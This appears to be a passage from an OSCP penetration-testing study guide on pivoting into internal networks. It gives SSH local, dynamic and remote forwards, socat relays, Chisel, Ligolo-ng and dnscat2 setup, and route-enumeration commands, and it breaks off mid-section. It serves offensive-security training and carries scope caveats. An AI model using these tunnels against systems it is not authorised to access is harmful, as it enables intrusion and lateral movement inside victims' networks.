OSCP Reference

6.1.3 Reach internal services

Strategy map | Master Notes | Operational index | Cheatsheets

A tunnel moves traffic; it does not grant destination authorization. Draw listener location, connection initiator, remote destination, DNS resolution and return path separately.

Speedrun blocks: 13; study fundamentals before 10–12. Documented methods: 16.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

6.1.3.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

6.1.3.1.1 Enumerate what the pivot can actually reach

Run route/listener checks on the pivot itself; do not infer its access from the attacker machine.

ip addr
ip route
ss -lntup

6.1.3.1.2 Use SSH forwarding for the required direction

Use this when the attacker can SSH to a pivot that can reach the destination; remote forwarding reverses the listener placement.

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

6.1.3.1.3 Use Ligolo for a justified routed requirement

Use the version-specific agent/proxy procedure and route setup. A tunnel session alone is not a working destination route.

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

6.1.3.2 Discovery workflow

Start from the pivot's current shell/process or accepted SSH access; another reachable subnet and an operational tunnel are not assumed.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

  1. Inspect pivot interfaces, routes, local listeners and destination reachability: Discover pivot interfaces, routes and internal service context.
  2. Draw listener location and connection initiator before fixed or SSH forwarding: Relay a single TCP service through a fixed forward; Forward a selected service through an SSH client-side listener; Expose an SSH-client-side destination through a server-side remote listener.
  3. Choose proxy versus routed access according to the real client/protocol requirements: Provide SOCKS access through SSH dynamic forwarding; Use ProxyChains, native SOCKS clients and SSH jump paths appropriately; Route a selected internal subnet through Ligolo-ng.
  4. Validate names, KDC access and the separately required delivery/callback route: Preserve DNS, Kerberos names and time across a pivot; Build the callback and delivery routes separately from the attack route.
  5. For additional hops test each leg before chaining the final application: Compose multiple pivots and validate every connection leg.

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

6.1.3.3 Method families

6.1.3.4 Choose a method

MethodRecognition clueRequired accessEnabling conditionsResulting capability
Discover pivot interfaces, routes and internal service contextA foothold exposes an interface/subnet or a loopback-only serviceA pivot identity/process or reachable SSH service and a drawn source-to-destination pathA usable pivot process/identity and explicit scope; both forward and return directions must be understoodA route diagram identifying listener, initiator, pivot destination and protocol
Relay a single TCP service through a fixed forwardOne reachable pivot can connect to one internal TCP destinationA pivot identity/process or reachable SSH service and a drawn source-to-destination pathA bindable pivot listener, source-to-listener access and pivot-to-destination connectivityA reachable local/pivot port carrying one destination service
Forward a selected service through an SSH client-side listenerSSH reaches a server that can access the needed internal serviceA pivot identity/process or reachable SSH service and a drawn source-to-destination pathAccepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination routeA client-side port carrying the chosen internal TCP service
Provide SOCKS access through SSH dynamic forwardingSeveral internal TCP services need access through one SSH serverA pivot identity/process or reachable SSH service and a drawn source-to-destination pathSSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitlyA client-side SOCKS proxy for selected destination connections
Expose an SSH-client-side destination through a server-side remote listenerThe useful side can initiate SSH outward but cannot accept an inbound management connectionA pivot identity/process or reachable SSH service and a drawn source-to-destination pathOutbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destinationA server-side listener forwarding to a destination reached from the SSH client
Expose a server-side SOCKS proxy through remote dynamic SSH forwardingOnly the pivot can initiate SSH, but several client-selected internal destinations are neededA pivot identity/process or reachable SSH service and a drawn source-to-destination pathA supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clientsA server-side SOCKS listener whose connections exit from the SSH client/pivot
Use ProxyChains, native SOCKS clients and SSH jump paths appropriatelyA SOCKS listener or an SSH jump host is already availableA pivot identity/process or reachable SSH service and a drawn source-to-destination pathClient/proxy transport compatibility, correct proxy configuration and controlled name resolutionA verified application connection through the chosen proxy/jump
Route a selected subnet through sshuttleMultiple internal TCP destinations need transparent application access over SSHA pivot identity/process or reachable SSH service and a drawn source-to-destination pathWorking SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnetsA verified transparent route for the chosen supported traffic
Forward from Windows with OpenSSH, Plink or NetshThe pivot is Windows and available networking utilities constrain the routeA pivot identity/process or reachable SSH service and a drawn source-to-destination pathCompatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination pathsA selected TCP service reachable through the Windows pivot
Use a reverse Chisel SOCKS or fixed TCP tunnelA pivot can make outbound HTTP/WebSocket connections to the tunnel serverA pivot identity/process or reachable SSH service and a drawn source-to-destination pathCompatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination accessA server-side SOCKS or fixed-port route into pivot-reachable services
Use forward Chisel SOCKS and version-supported UDP routingThe assessment-side client can reach a pivot-side tunnel serverA pivot identity/process or reachable SSH service and a drawn source-to-destination pathCompatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when requiredA forward proxy route with documented TCP/UDP behavior
Route a selected internal subnet through Ligolo-ngSeveral protocols/subnets require a route-style interface through an agentA pivot identity/process or reachable SSH service and a drawn source-to-destination pathCompatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnetA verified routed connection path including supported loopback/listener features
Conditional: tunnel through controlled DNS infrastructureDNS is an available carrier while simpler permitted routes are unavailableA pivot identity/process or reachable SSH service and a drawn source-to-destination pathControlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed executionA verified constrained DNS carrier and its explicitly configured access capabilities
Preserve DNS, Kerberos names and time across a pivotAn IP connection works while hostname/Kerberos access failsA pivot identity/process or reachable SSH service and a drawn source-to-destination pathReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable timeA route-compatible name and authentication context
Build the callback and delivery routes separately from the attack routeA pivoted exploit reaches its target but its shell/download cannot returnA pivot identity/process or reachable SSH service and a drawn source-to-destination pathTarget-to-listener/download-server path, correct advertised address and compatible reverse listener/forwardA verified return or file-delivery path for the selected execution chain
Compose multiple pivots and validate every connection legA second internal network is reachable only from a later footholdA pivot identity/process or reachable SSH service and a drawn source-to-destination pathA working first route, explicit second carrier/listener directions and correct per-hop DNS/return pathsA verified selected route across multiple source positions

6.1.3.5 Discover pivot interfaces, routes and internal service context

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet

6.1.3.5.1 Purpose and result

A route diagram identifying listener, initiator, pivot destination and protocol.

6.1.3.5.2 Recognition clues

A foothold exposes an interface/subnet or a loopback-only service.

6.1.3.5.2.1 Find the clue from your starting access

Where to investigate: On the foothold inspect interfaces/routes and local listeners, then test an explicitly assigned destination from that host.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Record source, pivot, destination, protocol, listener placement and required return path.

Failure/next check: Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

ip addr
ip route
ss -lntup

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

INTERFACE_A: current network
INTERFACE_B: assigned internal network
Listener: 127.0.0.1:PORT

Recognize this detail: A second network or loopback listener supplies a new vantage candidate; forwarding is not automatically enabled.

Still missing before method selection: Read interfaces/routes/listeners on the pivot and probe the internal destination from that host. Draw both legs and the initiator; only choose SSH/SOCKS/Ligolo after the destination leg works.

Outcome after checkingExample and next decision
Enabled after validationThe pivot reaches the needed endpoint and a supported tunnel can carry the client: choose that route.
Ruled out in this contextThe new subnet is outside assigned scope: do not use it as an attack route.
InconclusiveInterface/route presence alone does not prove destination/firewall access.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

6.1.3.5.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A usable pivot process/identity and explicit scope; both forward and return directions must be understood.

6.1.3.5.4 Discover and verify prerequisites

ip addr
ip route
ss -lntup

6.1.3.5.5 Why it works

A dual-homed host can connect networks without forwarding packets for arbitrary clients. Select fixed forward, application proxy or routed tunnel according to the required protocol and permissions.

6.1.3.5.6 Execute and choose variants

APPLICATION TOOL
  -> local listener / SOCKS endpoint / TUN route
  -> tunnel transport endpoint
  -> pivot exit
  -> internal destination service

CALLBACK TARGET
  -> pivot listener or routable address
  -> relay/tunnel
  -> final listener

Record:

TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects

Do not use “pivot works” as a single state. Confirm these layers separately:

  1. the tunnel process started;
  2. its listener/transport connection exists;
  3. the pivot can reach the intended destination socket;
  4. the local route, forward or proxy points at the right exit;
  5. the application actually uses that path;
  6. name resolution and authentication match the application;
  7. a callback, if required, has its own return path.

Linux:

id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf

Windows:

whoami /all
ipconfig /all
route print
arp -a
netstat -ano

PowerShell selected endpoints:

Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4

An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.

nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT
NeedBaselineChoose whenMain limitation
One TCP service through an SSH pivotSSH local forwardKali can initiate SSH to pivotOne destination socket per forward
Many TCP destinations through SSH pivotSSH dynamic forwardKali can initiate SSH to pivotSOCKS/client compatibility
Pivot can connect outward but inbound access is blockedSSH remote or remote-dynamic forwardPivot has OpenSSH client and can reach Kali SSHKali SSH policy; OpenSSH version for remote dynamic
SSH hop directly to internal SSHProxyJumpBoth pivot and destination provide SSHSSH-only path
Simple Linux TCP relaySocatBinary already exists and listener can be exposedClear TCP relay; no authentication/encryption
Transparent selected subnets through SSHsshuttleSuitable SSH server with Python; local privilegesTCP/DNS-oriented, local firewall changes
Windows SSH-based forwardBuilt-in ssh.exe or PlinkCompatible client exists and outbound SSH worksServer policy and credential/host-key handling
Windows native fixed TCP relaynetsh interface portproxyElevated token; target modification acceptableTCP only; firewall/IP Helper/stateful cleanup
Outbound HTTP/WebSocket-shaped tunnelChiselPivot can run matching binary and reach serverClient/server compatibility and proxy/client transport limits
Routed access for ordinary clientsLigolo-ngAgent can reach proxy and TUN/route setup is possibleUserland stack is not identical to direct raw networking
DNS is the only viable egressdnscat2DNS path plus authoritative/direct server controlSlow/noisy, infrastructure and client required

Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.

Kali/Linux:

ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'

Windows:

netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"

Record:

Stop tunnel processes and remove TUN routes, Ligolo listeners, temporary mappings, password files, Netsh rules and firewall exceptions after the authorized task.

6.1.3.5.7 Worked example — hypothetical

Observation: a foothold can reach an internal service absent from Kali's route. Test: verify the destination from that host and draw the connection direction. Illustrative output: the pivot reaches TCP/445. Interpretation: choose the smallest compatible route for the intended client.

6.1.3.5.8 Verify the result

Record source, pivot, destination, protocol, listener placement and required return path.

6.1.3.5.9 Failure and fallback

Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

6.1.3.5.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
One reachable pivot can connect to one internal TCP destinationA bindable pivot listener, source-to-listener access and pivot-to-destination connectivity§6.1.3.6 — Relay a single TCP service through a fixed forward
SSH reaches a server that can access the needed internal serviceAccepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route§6.1.3.7 — Forward a selected service through an SSH client-side listener
A pivot can make outbound HTTP/WebSocket connections to the tunnel serverCompatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access§6.1.3.14 — Use a reverse Chisel SOCKS or fixed TCP tunnel
Several protocols/subnets require a route-style interface through an agentCompatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet§6.1.3.16 — Route a selected internal subnet through Ligolo-ng
Only the pivot can initiate SSH, but several client-selected internal destinations are neededA supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients§6.1.3.10 — Expose a server-side SOCKS proxy through remote dynamic SSH forwarding
Multiple internal TCP destinations need transparent application access over SSHWorking SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets§6.1.3.12 — Route a selected subnet through sshuttle
The pivot is Windows and available networking utilities constrain the routeCompatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths§6.1.3.13 — Forward from Windows with OpenSSH, Plink or Netsh
The assessment-side client can reach a pivot-side tunnel serverCompatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required§6.1.3.15 — Use forward Chisel SOCKS and version-supported UDP routing
A second internal network is reachable only from a later footholdA working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths§6.1.3.20 — Compose multiple pivots and validate every connection leg

6.1.3.6 Relay a single TCP service through a fixed forward

Choose when: One reachable pivot can connect to one internal TCP destination · Result: A reachable local/pivot port carrying one destination service

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.6.1 Purpose and result

A reachable local/pivot port carrying one destination service.

6.1.3.6.2 Recognition clues

One reachable pivot can connect to one internal TCP destination.

6.1.3.6.2.1 Find the clue from your starting access

Where to investigate: From pivot-state evidence identify one fixed TCP destination and where the assessment client can reach a pivot listener.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify application behavior through the listener and keep the transport's destination explicit.

Failure/next check: A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

ip route get TARGET
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Pivot -> internal TARGET:PORT: verified
Assessment source -> pivot listener: candidate
Needed protocol: TCP, one fixed destination

Recognize this detail: A single TCP service can fit a fixed relay without assuming a full routed network.

Still missing before method selection: Confirm both legs, bind address/permission and any additional dynamic ports or return path.

Outcome after checkingExample and next decision
Enabled after validationBoth legs and the destination handshake work: choose a fixed TCP relay.
Ruled out in this contextThe protocol needs unprovided UDP or dynamic connections: reject this one-port topology.
InconclusiveA listen socket without the destination handshake leaves the remote leg unknown.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.6.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity.

6.1.3.6.4 Discover and verify prerequisites

ss -lnt
ip route get TARGET

6.1.3.6.5 Why it works

A fixed TCP relay transports bytes to a predetermined endpoint. It does not automatically carry UDP, DNS, dynamic RPC or callbacks.

6.1.3.6.6 Execute and choose variants

On a Linux pivot, expose one internal TCP service:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

fork handles multiple connections. reuseaddr eases rebinding after restart. Socat does not add authentication or encryption to this relay; bind narrowly and remove the process when finished. A listener can exist even when the pivot-to-destination connection fails.

6.1.3.6.7 Worked example — hypothetical

Observation: an internal database is reachable from the pivot. Test: create the selected fixed relay and use its listener from the assessment source. Illustrative output: the database handshake succeeds. Interpretation: validate its own credentials/rights next.

6.1.3.6.8 Verify the result

Verify application behavior through the listener and keep the transport's destination explicit.

6.1.3.6.9 Failure and fallback

A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

6.1.3.6.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
SQL Server credentials or a Windows identity accepted by the databaseCorrect SQL versus Windows authentication; database role and configuration must permit the requested operation§1.2.16 — Use SQL Server rights, impersonation and command facilities
A MySQL-compatible service and valid application/database credentialsDatabase authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions§1.2.15 — Use MySQL/MariaDB data and file primitives
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization

6.1.3.7 Forward a selected service through an SSH client-side listener

Choose when: SSH reaches a server that can access the needed internal service · Result: A client-side port carrying the chosen internal TCP service

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Quick sheet

6.1.3.7.1 Purpose and result

A client-side port carrying the chosen internal TCP service.

6.1.3.7.2 Recognition clues

SSH reaches a server that can access the needed internal service.

6.1.3.7.2.1 Find the clue from your starting access

Where to investigate: Use accepted SSH and the SSH server's verified reachability to a selected internal/loopback service; identify where the local client needs its listener.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

Failure/next check: Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Assessment client -> SSH server: accepted
SSH server -> 127.0.0.1:INTERNAL_PORT: needed
Desired listener: assessment client

Recognize this detail: Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.

Still missing before method selection: Verify forwarding policy, local bind and server-to-destination application access.

Outcome after checkingExample and next decision
Enabled after validationThe permitted local forward delivers the service handshake: choose -L.
Ruled out in this contextThe server cannot reach the selected destination: reject this topology regardless of valid SSH login.
InconclusiveSSH login alone leaves forwarding policy unknown.

If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.

6.1.3.7.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route.

6.1.3.7.4 Discover and verify prerequisites

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

6.1.3.7.5 Why it works

With -L the listener is on the SSH client and the remote destination is reached from the SSH server. localhost in the destination therefore means the server's loopback.

6.1.3.7.6 Execute and choose variants

Run on Kali when Kali can SSH to the pivot:

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Use the listener as though it were the internal service:

nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

The SSH server/pivot resolves and connects to INTERNAL_HOST. Bind to 127.0.0.1 unless another authorized local host must use the forward; -g or a non-loopback bind expands exposure.

Add reliability and attributable failure to transport-only sessions:

-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.

6.1.3.7.7 Worked example — hypothetical

Observation: a database listens only on the SSH server's loopback. Test: use the documented local forward to that loopback port. Illustrative output: the client-side database connection works. Interpretation: authenticate using database-specific credentials.

6.1.3.7.8 Verify the result

Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

6.1.3.7.9 Failure and fallback

Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

6.1.3.7.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A MySQL-compatible service and valid application/database credentialsDatabase authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions§1.2.15 — Use MySQL/MariaDB data and file primitives
SQL Server credentials or a Windows identity accepted by the databaseCorrect SQL versus Windows authentication; database role and configuration must permit the requested operation§1.2.16 — Use SQL Server rights, impersonation and command facilities
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot

6.1.3.8 Provide SOCKS access through SSH dynamic forwarding

Choose when: Several internal TCP services need access through one SSH server · Result: A client-side SOCKS proxy for selected destination connections

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.8.1 Purpose and result

A client-side SOCKS proxy for selected destination connections.

6.1.3.8.2 Recognition clues

Several internal TCP services need access through one SSH server.

6.1.3.8.2.1 Find the clue from your starting access

Where to investigate: From accepted SSH and a mapped internal service set determine whether each required client can use a SOCKS TCP connection.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

Failure/next check: A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

ssh -v -p SSH_PORT USER@PIVOT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH path: accepted
Needed destinations: several TCP services
Client proxy support: inspect

Recognize this detail: Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.

Still missing before method selection: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.

Outcome after checkingExample and next decision
Enabled after validationProxy-aware clients reach the selected applications: choose dynamic SOCKS.
Ruled out in this contextThe needed operation relies on raw/unsupported UDP traffic: reject ordinary TCP SOCKS for that operation.
InconclusiveA working SSH session without a proxy-aware test leaves application/proxy compatibility unknown.

If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.

6.1.3.8.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly.

6.1.3.8.4 Discover and verify prerequisites

ssh -v -p SSH_PORT USER@PIVOT

6.1.3.8.5 Why it works

A SOCKS client requests each destination through the SSH server. Raw packets and arbitrary UDP are not automatically proxied by ordinary TCP SOCKS wrappers.

6.1.3.8.6 Execute and choose variants

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.

6.1.3.8.7 Worked example — hypothetical

Observation: multiple web/SMB services are reachable from the SSH server. Test: create the dynamic listener and send a proxy-aware HTTP request. Illustrative output: the internal page loads through SOCKS. Interpretation: use only compatible TCP clients and validate DNS separately.

6.1.3.8.8 Verify the result

Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

6.1.3.8.9 Failure and fallback

A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

6.1.3.8.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A SOCKS listener or an SSH jump host is already availableClient/proxy transport compatibility, correct proxy configuration and controlled name resolution§6.1.3.11 — Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
An assigned host needs an initial service queue or full TCP coverageSYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage§1.1.7 — Discover TCP ports with SYN or connect scans
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot

6.1.3.9 Expose an SSH-client-side destination through a server-side remote listener

Choose when: The useful side can initiate SSH outward but cannot accept an inbound management connection · Result: A server-side listener forwarding to a destination reached from the SSH client

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.9.1 Purpose and result

A server-side listener forwarding to a destination reached from the SSH client.

6.1.3.9.2 Recognition clues

The useful side can initiate SSH outward but cannot accept an inbound management connection.

6.1.3.9.2.1 Find the clue from your starting access

Where to investigate: Identify an outbound-only pivot-to-SSH-server path and a service reached from that SSH client/pivot; decide where the remote listener is needed.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify listener placement/bind and actual destination application response.

Failure/next check: A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

ssh -v USER@SSH_SERVER

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Pivot/client -> SSH server: allowed
SSH server -> pivot inbound: blocked
Desired listener: SSH server

Recognize this detail: The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.

Still missing before method selection: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.

Outcome after checkingExample and next decision
Enabled after validationThe server-side listener carries the intended service: choose the -R fixed forward.
Ruled out in this contextOnly a loopback listener is available but another host must connect and no approved bind path exists: reject that exposure design.
InconclusiveAccepted outbound SSH does not prove remote listener policy.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.9.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination.

6.1.3.9.4 Discover and verify prerequisites

ssh -v USER@SSH_SERVER
ss -lnt

6.1.3.9.5 Why it works

With -R the listener is on the SSH server. Its public exposure depends on bind address/server policy; target localhost is evaluated on the SSH client side.

6.1.3.9.6 Execute and choose variants

Run on a pivot that can initiate an SSH connection back to Kali:

ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses:

nc -nvz 127.0.0.1 KALI_PORT

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

6.1.3.9.7 Worked example — hypothetical

Observation: a pivot can initiate SSH to the assessment host. Test: remote-forward a selected internal service. Illustrative output: the assessment-side listener reaches that service via the pivot. Interpretation: connect using the destination service's identity rules.

6.1.3.9.8 Verify the result

Verify listener placement/bind and actual destination application response.

6.1.3.9.9 Failure and fallback

A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

6.1.3.9.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
SMB/RPC endpoints, domain clues or new credentialsReachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter§1.2.6 — Enumerate SMB/RPC shares, files and identities
A pivoted exploit reaches its target but its shell/download cannot returnTarget-to-listener/download-server path, correct advertised address and compatible reverse listener/forward§6.1.3.19 — Build the callback and delivery routes separately from the attack route

6.1.3.10 Expose a server-side SOCKS proxy through remote dynamic SSH forwarding

Choose when: Only the pivot can initiate SSH, but several client-selected internal destinations are needed · Result: A server-side SOCKS listener whose connections exit from the SSH client/pivot

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.10.1 Purpose and result

A server-side SOCKS listener whose connections exit from the SSH client/pivot.

6.1.3.10.2 Recognition clues

Only the pivot can initiate SSH, but several client-selected internal destinations are needed.

6.1.3.10.2.1 Find the clue from your starting access

Where to investigate: For an outbound-only SSH path identify the need for several client-selected destinations and inspect the actual SSH client implementation/version.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the listener's actual location and source-side exit by application evidence.

Failure/next check: Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

ssh -V

Illustrative evidence — synthetic, abbreviated:

